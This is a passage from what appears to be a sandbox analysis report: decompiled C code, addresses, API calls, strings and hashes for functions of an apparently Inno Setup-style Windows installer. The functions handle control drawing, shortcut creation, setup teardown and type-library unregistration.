						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0xfc)))) + 0xc))();
						E0044D0AC(_v124, _v36,  &_v72,  *(_v8 + 0x16c) & _v13, _t535);
						if( *(_v8 + 0x16c) != 0 && _v13 == 0 && (_a4 & 0x00000001) != 0 && E00418260(_v8) != 0 && (_v44 & 0x00000001) == 0) {
							memcpy( &_v120,  &_v72, 4 << 2);
							_t531 = _t531;
							InflateRect( &_v120, 1, 1);
							E0041ACAC(_t531,  &_v120);
						}
						SetTextColor(E0041B15C(_t531), _v40);
						_pop(_t489);
						 *[fs:eax] = _t489;
						_push(0x44d7b7);
						return E00403548( &_v124);
					}
					_t337 =  *((intOrPtr*)(_v8 + 0x158));
					_v72 = _v72 -  *(_v8 + 0x148) + _t337 + _t337;
					_v88.left = _t337 + _v72;
					_t339 = _v68;
					_t458 = _v8;
					_t502 = _v60 - _t339 -  *((intOrPtr*)(_v8 + 0x144));
					_t503 = _t502 >> 1;
					if(_t502 < 0) {
						asm("adc edx, 0x0");
					}
					_t504 = _t503 + _t339;
					_v88.top = _t504;
					_v88.bottom =  *((intOrPtr*)(_v8 + 0x144)) + _t504;
					_v88.right =  *(_v8 + 0x148) + _v88.left;
					if( *((intOrPtr*)(_v8 + 0x170)) != 0) {
						_v52 =  *0x0048C96C;
						__eflags = _v13;
						if(__eflags == 0) {
							_t350 = _v8;
							__eflags =  *((intOrPtr*)(_t350 + 0x13c)) - _v12;
							if( *((intOrPtr*)(_t350 + 0x13c)) != _v12) {
								_t352 = _v8;
								__eflags =  *((intOrPtr*)(_t352 + 0x13c));
								if( *((intOrPtr*)(_t352 + 0x13c)) >= 0) {
									L59:
									__eflags = 0;
									_t452 =  *0x0048C978;
									L60:
									 *0x48d688( *((intOrPtr*)(_v8 + 0x170)), E0041B15C(_t531), _v52, _t452,  &_v88,  &_v88);
									goto L61;
								}
								__eflags =  *((intOrPtr*)(_v8 + 0x178)) - _v12;
								if(__eflags != 0) {
									goto L59;
								}
								_t452 =  *0x0048C97C;
								goto L60;
							}
							__eflags =  *((char*)(_v8 + 0x140));
							if(__eflags != 0) {
								L54:
								_t452 =  *0x0048C980;
								goto L60;
							}
							__eflags =  *((intOrPtr*)(_v8 + 0x150)) - _v12;
							if(__eflags != 0) {
								_t452 =  *((intOrPtr*)(0x48c97c));
								goto L60;
							}
							goto L54;
						}
						_t452 =  *0x0048C984;
						goto L60;
					} else {
						_t560 =  *((intOrPtr*)(_t522 + 0x10)) - 1;
						if(_t560 < 0) {
							_t453 =  *0x0048C960;
						} else {
							if(_t560 != 0) {
								_t453 = 0x408;
							} else {
								_t453 =  *0x0048C960 | 0x00000400;
							}
						}
						if( *((char*)(_v8 + 0x14d)) != 0) {
							_t453 = _t453 | 0x00004000;
						}
						if(_v13 != 0) {
							_t453 = _t453 | 0x00000100;
						}
						if( *((intOrPtr*)(_v8 + 0x13c)) == _v12 && ( *((char*)(_v8 + 0x140)) != 0 ||  *((intOrPtr*)(_v8 + 0x150)) == _v12)) {
							_t453 = _t453 | 0x00000200;
						}
						DrawFrameControl(E0041B15C(_t531),  &_v88, 4, _t453);
						L61:
						_v72 =  *((intOrPtr*)(_v8 + 0x158)) + _v88.right;
						goto L62;
					}
				}
				E0041A5C8( *((intOrPtr*)(_t531 + 0x10)), 0x80000011, _t547);
				_v28 = E0044DCA4(_v8, _v12) & 0x000000ff;
				_t406 = _v28 - 1;
				if(_t406 >= 0) {
					_v56 = _t406 + 1;
					_t455 = 0;
					do {
						E0044DC98(_v8);
						_t550 = _t455 - 0xff;
						if(_t550 <= 0) {
							asm("bt [eax+0x18], edx");
						}
						if(_t550 < 0) {
							_t411 =  *(_v8 + 0x148);
							_t511 = (_t411 +  *((intOrPtr*)(_v8 + 0x158)) +  *((intOrPtr*)(_v8 + 0x158))) * _t455;
							_t412 = _t411 >> 1;
							if(_t511 < 0) {
								asm("adc eax, 0x0");
							}
							_v20 = _t511 + _t412 +  *((intOrPtr*)(_v8 + 0x158));
							_t514 = _v60;
							_t414 = _v68;
							_t480 = _t514 - _t414;
							_t481 = _t480 >> 1;
							if(_t480 < 0) {
								asm("adc ecx, 0x0");
							}
							_t458 = _t481 + _t414;
							_v32 = _t481 + _t414;
							_v24 = _t514;
							if(_t455 == _v28 - 1) {
								_t554 =  *((char*)(E0044DC98(_v8) + 7));
								if(_t554 != 0) {
									_v24 = _v32;
								}
								_push( *(_v8 + 0x104));
								_push(E0044CACC);
								_push(_v32);
								_t431 =  *(_v8 + 0x148) >> 1;
								if(_t554 < 0) {
									asm("adc eax, 0x0");
								}
								LineDDA(_v20, _v32, _t431 + _v20 +  *((intOrPtr*)(_v8 + 0x158)), ??, ??, ??);
							}
							LineDDA(_v20, _v68, _v20, _v24, E0044CACC,  *(_v8 + 0x104));
						}
						_t455 = _t455 + 1;
						_t75 =  &_v56;
						 *_t75 = _v56 - 1;
					} while ( *_t75 != 0);
				}
			}

0x0044d1b0
0x0044d1b1
0x0044d1b8
0x0044d1bb
0x0044d1c8
0x0044d1c8
0x0044d1c8
0x0044d1ca
0x0044d1cd
0x0044d1d2
0x0044d1d3
0x0044d1d8
0x0044d1db
0x0044d1e8
0x0044d1f9
0x0044d201
0x0044d201
0x0044d213
0x0044d21c
0x0044d23a
0x0044d23c
0x0044d21e
0x0044d235
0x0044d235
0x0044d246
0x0044d252
0x0044d24e
0x0044d24e
0x0044d24e
0x0044d254
0x0044d25a
0x0044d26a
0x0044d26c
0x0044d270
0x0044d27b
0x0044d27b
0x0044d270
0x0044d280
0x0044d283
0x0044d28a
0x0044d3b4
0x0044d3b8
0x0044d59a
0x0044d59f
0x0044d5a4
0x0044d5b4
0x0044d5bb
0x0044d5e9
0x0044d5f0
0x0044d5fb
0x0044d609
0x0044d609
0x0044d5bd
0x0044d5c7
0x0044d5d1
0x0044d5df
0x0044d5df
0x0044d5c7
0x0044d60e
0x0044d612
0x0044d681
0x0044d681
0x0044d681
0x0044d614
0x0044d62b
0x0044d63b
0x0044d63b
0x0044d63d
0x0044d63e
0x0044d64e
0x0044d66a
0x0044d673
0x0044d673
0x0044d68e
0x0044d690
0x0044d690
0x0044d699
0x0044d69c
0x0044d69e
0x0044d6a0
0x0044d6a0
0x0044d6aa
0x0044d6af
0x0044d6c0
0x0044d6c8
0x0044d6c8
0x0044d6d3
0x0044d6d5
0x0044d6d5
0x0044d6f0
0x0044d702
0x0044d727
0x0044d733
0x0044d743
0x0044d76f
0x0044d771
0x0044d77a
0x0044d784
0x0044d784
0x0044d795
0x0044d79c
0x0044d79f
0x0044d7a2
0x0044d7af
0x0044d7af
0x0044d3ca
0x0044d3d6
0x0044d3dc
0x0044d3e2
0x0044d3e7
0x0044d3ea
0x0044d3f0
0x0044d3f2
0x0044d3f4
0x0044d3f4
0x0044d3f7
0x0044d3f9
0x0044d407
0x0044d416
0x0044d423
0x0044d4ca
0x0044d4cd
0x0044d4d1
0x0044d4e6
0x0044d4ef
0x0044d4f2
0x0044d52e
0x0044d531
0x0044d538
0x0044d558
0x0044d55d
0x0044d55f
0x0044d566
0x0044d585
0x00000000
0x0044d585
0x0044d543
0x0044d546
0x00000000
0x00000000
0x0044d54f
0x00000000
0x0044d54f
0x0044d4f7
0x0044d4fe
0x0044d50e
0x0044d515
0x00000000
0x0044d515
0x0044d509
0x0044d50c
0x0044d525
0x00000000
0x0044d525
0x00000000
0x0044d50c
0x0044d4da
0x00000000
0x0044d429
0x0044d42c
0x0044d42e
0x0044d44b
0x0044d430
0x0044d430
0x0044d454
0x0044d432
0x0044d43e
0x0044d43e
0x0044d430
0x0044d463
0x0044d465
0x0044d465
0x0044d46f
0x0044d471
0x0044d471
0x0044d483
0x0044d49f
0x0044d49f
0x0044d4b4
0x0044d58b
0x0044d597
0x00000000
0x0044d597
0x0044d423
0x0044d298
0x0044d2ad
0x0044d2b3
0x0044d2b6
0x0044d2bd
0x0044d2c0
0x0044d2c2
0x0044d2c8
0x0044d2cf
0x0044d2d5
0x0044d2d7
0x0044d2d7
0x0044d2db
0x0044d2e4
0x0044d2f9
0x0044d2fc
0x0044d2fe
0x0044d300
0x0044d300
0x0044d30e
0x0044d311
0x0044d316
0x0044d319
0x0044d31b
0x0044d31d
0x0044d31f
0x0044d31f
0x0044d322
0x0044d324
0x0044d327
0x0044d330
0x0044d33d
0x0044d341
0x0044d346
0x0044d346
0x0044d352
0x0044d353
0x0044d35b
0x0044d365
0x0044d367
0x0044d369
0x0044d369
0x0044d381
0x0044d381
0x0044d3a5
0x0044d3a5
0x0044d3aa
0x0044d3ab
0x0044d3ab
0x0044d3ab
0x0044d2c2

APIs

SendMessageA.USER32 ref: 0044D230
LineDDA.GDI32(?,?,?,?,Function_0004CACC,?), ref: 0044D381
LineDDA.GDI32(?,?,?,?,Function_0004CACC,?), ref: 0044D3A5
DrawFrameControl.USER32 ref: 0044D4B4

Part of subcall function 0041AD28: FillRect.USER32 ref: 0041AD50

GetTextColor.GDI32(00000000), ref: 0044D5AF
GetSysColor.USER32(00000011), ref: 0044D5D1
SetTextColor.GDI32(00000000,00000000), ref: 0044D5DF
SetTextColor.GDI32(00000000,00000000), ref: 0044D609
OffsetRect.USER32(00000000,00000000,?), ref: 0044D6AA
InflateRect.USER32(?,00000001,00000001), ref: 0044D77A
SetTextColor.GDI32(00000000,?), ref: 0044D795

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Color$Text$Rect$Line$ControlDrawFillFrameInflateMessageOffsetSend
String ID:
API String ID: 3787931423-0
Opcode ID: 668120ce3816169344680d3d91ae975889dad7cdb0900ea9c3bddfdc5a481bf7
Instruction ID: 06a95b64524c3b1db15d8e3d88035710d567d3bd60866f0deb3bf5ae9595a7e7
Opcode Fuzzy Hash: 668120ce3816169344680d3d91ae975889dad7cdb0900ea9c3bddfdc5a481bf7
Instruction Fuzzy Hash: D8122C74E00248AFEB01DFA8C985BEEB7F5AF49304F1445AAE504E7352D778AE41CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0046AB0C Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 246
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0046AB0C(char __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, char _a4, intOrPtr _a8, char _a12, char _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40) {
				char _v8;
				char _v9;
				char _v16;
				char _v20;
				char _v24;
				char _v25;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _t143;
				signed char _t206;
				intOrPtr _t236;
				intOrPtr _t250;
				void* _t252;
				void* _t254;
				void* _t256;
				void* _t257;
				intOrPtr _t258;
				void* _t259;

				_t259 = __eflags;
				_t256 = _t257;
				_t258 = _t257 + 0xffffffd8;
				_v32 = 0;
				_v16 = 0;
				_v20 = 0;
				_v24 = 0;
				_t252 = __ecx;
				_t254 = __edx;
				_v8 = __eax;
				E00403870(_v8);
				_push(_t256);
				_push(0x46ae1c);
				_push( *[fs:eax]);
				 *[fs:eax] = _t258;
				E004038C0(_v8, 8, 1,  &_v32);
				E004037CC(_v32, "{group}\\");
				_v9 = _t259 == 0;
				E00471AF8(_v8, 8,  &_v32);
				E004035DC( &_v8, _v32);
				E00403708( &_v16, 0x46ae48, _v8);
				E00403708( &_v20, 0x46ae58, _v8);
				_t206 =  *0x46ae60; // 0x8
				_t260 = _a16;
				if(_a16 == 0) {
					__eflags = _v9;
					if(_v9 != 0) {
						__eflags = _t206;
					}
				} else {
					_t206 = _t206 | 0x00000001;
				}
				_v40 = _v16;
				_v36 = 0xb;
				E00455D54("Filename: %s", _t206, 0,  &_v40, _t252, _t254);
				E00466E38(_v16, _t206, 1, _t252, _t254, _t260);
				E0042C8BC(_v16, 0,  &_v32);
				E004682DC(0, _t206, _t206, _v32, _t252, _t254, _t260,  *((intOrPtr*)(_a40 + 8)));
				E00406FE4(_v16);
				E00406FE4(_v20);
				_t214 = _t252;
				E00454B88(_v16, _t206, _t252, _t254, _t252, _t254,  &_v24, _a4, _a8, _a20, _a24, _a28, _a32, _a36);
				 *0x4ae28c = 1;
				_t261 = _a4;
				if(_a4 == 0 || E0042CD54(_t261) == 0) {
					_t143 = 0;
				} else {
					_t143 = 1;
				}
				_v25 = _t143;
				if(_a12 != 0) {
					_t264 = _v25;
					if(_v25 == 0) {
						E0042C914(_v24, _t214,  &_v32, _t264);
						if(E00406B20(_v32, 0x46ae58) == 0) {
							_push(_t256);
							_push( *[fs:eax]);
							 *[fs:eax] = _t258;
							E00453C24(_v24, _t206, 0x46ae00 | _a12 == 0x00000001);
							_pop(_t250);
							_t214 = 0x46aca7;
							 *[fs:eax] = _t250;
						}
					}
				}
				if(_v25 == 0) {
					SHChangeNotify(2, 1, E00403880(_v24), 0);
				} else {
					SHChangeNotify(8, 1, E00403880(_v24), 0);
				}
				E0042C8BC(_v24, _t214,  &_v32);
				SHChangeNotify(0x1000, 0x1001, E00403880(_v32), 0);
				if(_a16 == 0) {
					_t269 = _v25;
					if(_v25 == 0) {
						_v44 = _v16;
						E00457278( *((intOrPtr*)( *((intOrPtr*)(_a40 + 8)) - 4)), _t206,  &_v44, 0x82, _t252, _t254, 0x20, 0);
						_v44 = _v20;
						E00457278( *((intOrPtr*)( *((intOrPtr*)(_a40 + 8)) - 4)), _t206,  &_v44, 0x82, _t252, _t254, 0x20, 0);
					} else {
						_v44 = _v24;
						E00457278( *((intOrPtr*)( *((intOrPtr*)(_a40 + 8)) - 4)), _t206,  &_v44, 0x81, _t252, _t254, 0x12, 0);
						E0042C4C4(_v24,  &_v32);
						E004036C4( &_v32, "target.lnk");
						_v44 = _v32;
						E00457278( *((intOrPtr*)( *((intOrPtr*)(_a40 + 8)) - 4)), _t206,  &_v44, 0x82, _t252, _t254, 0, 0);
						E0042C4C4(_v24,  &_v32);
						E004036C4( &_v32, "Desktop.ini");
						_v44 = _v32;
						E00457278( *((intOrPtr*)( *((intOrPtr*)(_a40 + 8)) - 4)), _t206,  &_v44, 0x82, _t252, _t254, 0, 0);
					}
				}
				E00467024(0x3e8, _t269);
				_pop(_t236);
				 *[fs:eax] = _t236;
				_push(0x46ae23);
				E00403548( &_v32);
				E00403568( &_v24, 3);
				return E00403548( &_v8);
			}

0x0046ab0c
0x0046ab0d
0x0046ab0f
0x0046ab17
0x0046ab1a
0x0046ab1d
0x0046ab20
0x0046ab23
0x0046ab25
0x0046ab27
0x0046ab2d
0x0046ab34
0x0046ab35
0x0046ab3a
0x0046ab3d
0x0046ab51
0x0046ab5e
0x0046ab63
0x0046ab6d
0x0046ab78
0x0046ab88
0x0046ab98
0x0046ab9d
0x0046aba3
0x0046aba7
0x0046abae
0x0046abb2
0x0046abb4
0x0046abb4
0x0046aba9
0x0046aba9
0x0046aba9
0x0046abba
0x0046abbd
0x0046abcb
0x0046abd5
0x0046abe7
0x0046abf3
0x0046abfc
0x0046ac04
0x0046ac2a
0x0046ac31
0x0046ac36
0x0046ac3d
0x0046ac41
0x0046ac4f
0x0046ac53
0x0046ac53
0x0046ac53
0x0046ac55
0x0046ac5c
0x0046ac5e
0x0046ac62
0x0046ac6a
0x0046ac7e
0x0046ac82
0x0046ac88
0x0046ac8b
0x0046ac98
0x0046ac9f
0x0046aca1
0x0046aca2
0x0046aca2
0x0046ac7e
0x0046ac62
0x0046acb5
0x0046acdc
0x0046acb7
0x0046acc6
0x0046acc6
0x0046ace9
0x0046ad01
0x0046ad0a
0x0046ad10
0x0046ad14
0x0046adb0
0x0046adc3
0x0046adcf
0x0046ade2
0x0046ad1a
0x0046ad21
0x0046ad34
0x0046ad43
0x0046ad50
0x0046ad58
0x0046ad6b
0x0046ad7a
0x0046ad87
0x0046ad8f
0x0046ada2
0x0046ada2
0x0046ad14
0x0046adec
0x0046adf3
0x0046adf6
0x0046adf9
0x0046ae01
0x0046ae0e
0x0046ae1b

APIs

SHChangeNotify.SHELL32(00000008,00000001,00000000,00000000), ref: 0046ACC6

Strings

target.lnk, xrefs: 0046AD4B
.lnk, xrefs: 0046AB80
{group}\, xrefs: 0046AB59
Desktop.ini, xrefs: 0046AD82
.pif, xrefs: 0046AB90, 0046AC72
Filename: %s, xrefs: 0046ABC6

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ChangeNotify
String ID: .lnk$.pif$Desktop.ini$Filename: %s$target.lnk${group}\
API String ID: 3893256919-3966328851
Opcode ID: 23d990d7a20fecb089370616dcf94d7f298d8f09327a709e35c781f1c6f83dfe
Instruction ID: 9837c8abb0defc92026b78f619cda978b5db0580f9f6f21c6430ac3894e01728
Opcode Fuzzy Hash: 23d990d7a20fecb089370616dcf94d7f298d8f09327a709e35c781f1c6f83dfe
Instruction Fuzzy Hash: 19A15374A00109AFDB01EF99C482BEEB7F4AF08304F50816AF814B7391D779AE45CB66

Uniqueness

Uniqueness Score: -1.00%

Function 004764A8 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 195
windowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E004764A8(void* __eax, void* __ebx, intOrPtr __edi, void* __esi, void* __eflags, void* __fp0) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr* _t32;
				intOrPtr* _t34;
				intOrPtr* _t36;
				intOrPtr* _t38;
				struct HINSTANCE__* _t67;
				struct HINSTANCE__* _t69;
				intOrPtr* _t71;
				intOrPtr* _t74;
				signed int _t75;
				intOrPtr* _t78;
				intOrPtr* _t81;
				signed int _t82;
				intOrPtr _t87;
				intOrPtr _t93;
				intOrPtr _t95;
				void* _t99;
				void* _t101;
				void* _t102;
				intOrPtr _t121;
				intOrPtr _t122;
				intOrPtr _t124;
				void* _t127;
				void* _t130;
				intOrPtr _t132;
				intOrPtr _t134;
				void* _t139;
				void* _t141;
				void* _t142;
				intOrPtr _t143;

				_t165 = __fp0;
				_t135 = __edi;
				_t141 = _t142;
				_t143 = _t142 + 0xfffffff4;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v16 = 0;
				_t99 = __eax;
				_push(_t141);
				_push(0x47674d);
				_push( *[fs:eax]);
				 *[fs:eax] = _t143;
				E00455B64("Deinitializing Setup.", __eax, __edi, __esi);
				if( *0x4ae290 != 0) {
					_t146 = _t99;
					if(_t99 != 0) {
						_push(_t141);
						_push(0x476523);
						_push( *[fs:eax]);
						 *[fs:eax] = _t143;
						_t93 =  *0x4ae288; // 0x0
						_v12 = 0;
						_v8 = 0xb;
						_t95 =  *0x4ae290; // 0x2188110
						 *0x4ae288 = E00487BF4(_t95,  &_v12, "GetCustomSetupExitCode", _t146, __fp0, _t93, 0, 0);
						_pop(_t134);
						 *[fs:eax] = _t134;
					}
					_push(_t141);
					_push(0x47657a);
					_push( *[fs:eax]);
					 *[fs:eax] = _t143;
					_v12 = 0;
					_v8 = 0xb;
					_t87 =  *0x4ae290; // 0x2188110
					E00487A5C(_t87,  &_v12, "DeinitializeSetup", _t146, _t165, 0, 0);
					_pop(_t132);
					 *[fs:eax] = _t132;
					E0042E240(0x4ae290);
				}
				_t32 =  *0x4ae268; // 0x2162b8c
				_t138 =  *((intOrPtr*)( *_t32 + 0x10))() - 1;
				if(_t138 < 0) {
					L8:
					_t34 =  *0x4ae268; // 0x2162b8c
					 *((intOrPtr*)( *_t34 + 0x38))();
					_t36 =  *0x4ae26c; // 0x2162bb8
					_t101 =  *((intOrPtr*)( *_t36 + 0x10))() - 1;
					if(_t101 < 0) {
						L10:
						_t38 =  *0x4ae26c; // 0x2162bb8
						 *((intOrPtr*)( *_t38 + 0x38))();
						E00466414();
						E00456300(1);
						E00455E68(0);
						if( *0x4ae310 != 0) {
							_t69 =  *0x4ae310; // 0x10000000
							FreeLibrary(_t69);
						}
						if( *0x4ae30c != 0) {
							_t67 =  *0x4ae30c; // 0x0
							FreeLibrary(_t67);
						}
						E00472664();
						if( *0x4ae018 != 0) {
							if( *0x48deec != 0) {
								E00455488(0);
							}
							_t122 =  *0x4ae018; // 0x218800c
							if(E004529BC(0, _t101, 1, _t122, _t135, _t138, 0, 0, 0, 1, 1) == 0) {
								E004035DC( &_v16, "Failed to remove temporary directory: ");
								_t124 =  *0x4ae018; // 0x218800c
								E004036C4( &_v16, _t124);
								E00455B64(_v16, _t101, _t135, _t138);
							}
						}
						if( *0x4ae24f != 0 &&  *0x48deec != 0) {
							E00455B64("Not restarting Windows because Setup is being run from the debugger.", _t101, _t135, _t138);
							 *0x4ae24f = 0;
						}
						E00455214();
						if( *0x4ae24f != 0) {
							E00455B64("Restarting Windows.", _t101, _t135, _t138);
							if( *0x4adf94 == 0) {
								E00453D80();
							} else {
								SendMessageA( *0x4adf98, 0x496, 0x2710, 0);
							}
						}
						_pop(_t121);
						 *[fs:eax] = _t121;
						_push(E00476754);
						return E00403548( &_v16);
					} else {
						goto L9;
					}
					do {
						L9:
						_t71 =  *0x4ae26c; // 0x2162bb8
						_t138 =  *_t71;
						 *((intOrPtr*)( *_t71 + 0xc))();
						_t74 =  *0x4ae26c; // 0x2162bb8
						_t75 =  *((intOrPtr*)( *_t74 + 0x14))(_v16);
						_pop(_t127);
						E0045192C(_t75 & 0xffffff00 | _t75 != 0x00000000, _t127, _t75);
						_t101 = _t101 - 1;
					} while (_t101 != 0xffffffff);
					goto L10;
				} else {
					_t139 = _t138 + 1;
					_t102 = 0;
					do {
						_t78 =  *0x4ae268; // 0x2162b8c
						_t135 =  *_t78;
						 *((intOrPtr*)( *_t78 + 0xc))();
						_t81 =  *0x4ae268; // 0x2162b8c
						_t82 =  *((intOrPtr*)( *_t81 + 0x14))(_v16);
						_pop(_t130);
						E00451424(_t82 & 0xffffff00 | _t82 != 0x00000000, _t130, _t82);
						_t102 = _t102 + 1;
						_t139 = _t139 - 1;
					} while (_t139 != 0);
					goto L8;
				}
			}

0x004764a8
0x004764a8
0x004764a9
0x004764ab
0x004764ae
0x004764af
0x004764b0
0x004764b3
0x004764b6
0x004764ba
0x004764bb
0x004764c0
0x004764c3
0x004764cb
0x004764d7
0x004764dd
0x004764df
0x004764e3
0x004764e4
0x004764e9
0x004764ec
0x004764f3
0x004764fb
0x004764fe
0x0047650a
0x00476514
0x0047651b
0x0047651e
0x0047651e
0x00476545
0x00476546
0x0047654b
0x0047654e
0x00476557
0x0047655a
0x00476566
0x0047656b
0x00476572
0x00476575
0x0047659f
0x0047659f
0x004765a4
0x004765b0
0x004765b3
0x004765e6
0x004765e6
0x004765ed
0x004765f0
0x004765fc
0x00476600
0x00476632
0x00476632
0x00476639
0x0047663c
0x00476643
0x0047664a
0x00476656
0x00476658
0x0047665e
0x0047665e
0x0047666a
0x0047666c
0x00476672
0x00476672
0x00476677
0x00476683
0x0047668c
0x00476690
0x00476690
0x004766a1
0x004766b0
0x004766ba
0x004766c2
0x004766c8
0x004766d0
0x004766d0
0x004766b0
0x004766dc
0x004766ec
0x004766f1
0x004766f1
0x004766f8
0x00476704
0x0047670b
0x00476717
0x00476732
0x00476719
0x0047672b
0x0047672b
0x00476717
0x00476739
0x0047673c
0x0047673f
0x0047674c
0x00000000
0x00000000
0x00000000
0x00476602
0x00476602
0x00476607
0x0047660c
0x0047660e
0x00476617
0x0047661e
0x00476626
0x00476627
0x0047662c
0x0047662d
0x00000000
0x004765b5
0x004765b5
0x004765b6
0x004765b8
0x004765bd
0x004765c2
0x004765c4
0x004765cd
0x004765d4
0x004765dc
0x004765dd
0x004765e2
0x004765e3
0x004765e3
0x00000000
0x004765b8

APIs

Part of subcall function 00455B64: GetLocalTime.KERNEL32(?,00000000,00455CEB,?,?,0048DF10,00000000), ref: 00455B94

FreeLibrary.KERNEL32(10000000), ref: 0047665E
FreeLibrary.KERNEL32(00000000), ref: 00476672
SendMessageA.USER32 ref: 0047672B

Strings

Not restarting Windows because Setup is being run from the debugger., xrefs: 004766E7
Restarting Windows., xrefs: 00476706
Failed to remove temporary directory: , xrefs: 004766B2
DeinitializeSetup, xrefs: 00476561
Deinitializing Setup., xrefs: 004764C6
GetCustomSetupExitCode, xrefs: 00476505

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: FreeLibrary$LocalMessageSendTime
String ID: DeinitializeSetup$Deinitializing Setup.$Failed to remove temporary directory: $GetCustomSetupExitCode$Not restarting Windows because Setup is being run from the debugger.$Restarting Windows.
API String ID: 2162613394-2206919510
Opcode ID: 3c5015a4960e728826c0c0e78e0993cbc173cb30346a3ef9b11c5ccad035f7df
Instruction ID: 88710889204b450ddef80d4bb5843ce3062f5c5781215f01ea294c2a2cd58e68
Opcode Fuzzy Hash: 3c5015a4960e728826c0c0e78e0993cbc173cb30346a3ef9b11c5ccad035f7df
Instruction Fuzzy Hash: 55612630600700AFDB14EF66D895B9A7BE9EB06308F11C4BBF818973A1CB789844CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00454F10 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00454F10(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				void* _v12;
				char _v16;
				char _v20;
				struct HINSTANCE__* _t21;
				intOrPtr _t27;
				intOrPtr* _t29;
				void* _t31;
				intOrPtr _t32;
				void* _t33;
				intOrPtr* _t36;
				struct HINSTANCE__* _t49;
				void* _t50;
				intOrPtr _t62;
				struct HINSTANCE__* _t67;
				void* _t69;
				void* _t71;
				void* _t72;
				intOrPtr _t73;

				_t50 = __ecx;
				_t71 = _t72;
				_t73 = _t72 + 0xfffffff0;
				_v20 = 0;
				_t69 = __eax;
				_push(_t71);
				_push(0x455075);
				_push( *[fs:eax]);
				 *[fs:eax] = _t73;
				_push("UnRegisterTypeLib");
				_t21 = GetModuleHandleA("OLEAUT32.DLL");
				_push(_t21);
				L00405A9C();
				_t67 = _t21;
				_t49 = _t67;
				_t74 = _t67;
				if(_t67 == 0) {
					E00451E44("GetProcAddress", _t49, _t50, _t67, _t69, _t74);
				}
				E0042C81C(_t69,  &_v20);
				_v8 = E00403DEC(_v20);
				if(_v8 == 0) {
					E00408C94();
				}
				_push(_t71);
				_push(0x455058);
				_push( *[fs:edx]);
				 *[fs:edx] = _t73;
				_push( &_v12);
				_t27 = _v8;
				_push(_t27);
				L0042CC80();
				_t76 = _t27;
				if(_t27 != 0) {
					E00451EEC("LoadTypeLib", _t49, _t27, _t67, _t69, _t76);
				}
				 *[fs:edx] = _t73;
				_t29 = _v12;
				_t31 =  *((intOrPtr*)( *_t29 + 0x1c))(_t29,  &_v16,  *[fs:edx], 0x45503a, _t71);
				_t77 = _t31;
				if(_t31 != 0) {
					E00451EEC("ITypeLib::GetLibAttr", _t49, _t31, _t67, _t69, _t77);
				}
				 *[fs:edx] = _t73;
				_t32 = _v16;
				_t33 = _t49->i(_t32,  *((intOrPtr*)(_t32 + 0x18)),  *((intOrPtr*)(_t32 + 0x1a)),  *((intOrPtr*)(_t32 + 0x10)),  *((intOrPtr*)(_t32 + 0x14)),  *[fs:edx], 0x45501c, _t71);
				_t78 = _t33;
				if(_t33 != 0) {
					E00451EEC("UnRegisterTypeLib", _t49, _t33, _t67, _t69, _t78);
				}
				_pop(_t62);
				 *[fs:eax] = _t62;
				_t36 = _v12;
				return  *((intOrPtr*)( *_t36 + 0x30))(_t36, _v16, E00455023);
			}

0x00454f10
0x00454f11
0x00454f13
0x00454f1b
0x00454f1e
0x00454f22
0x00454f23
0x00454f28
0x00454f2b
0x00454f2e
0x00454f38
0x00454f3d
0x00454f3e
0x00454f43
0x00454f45
0x00454f47
0x00454f49
0x00454f50
0x00454f50
0x00454f5a
0x00454f67
0x00454f6e
0x00454f70
0x00454f70
0x00454f77
0x00454f78
0x00454f7d
0x00454f80
0x00454f86
0x00454f87
0x00454f8a
0x00454f8b
0x00454f90
0x00454f92
0x00454f9b
0x00454f9b
0x00454fab
0x00454fb2
0x00454fb8
0x00454fbb
0x00454fbd
0x00454fc6
0x00454fc6
0x00454fd6
0x00454fd9
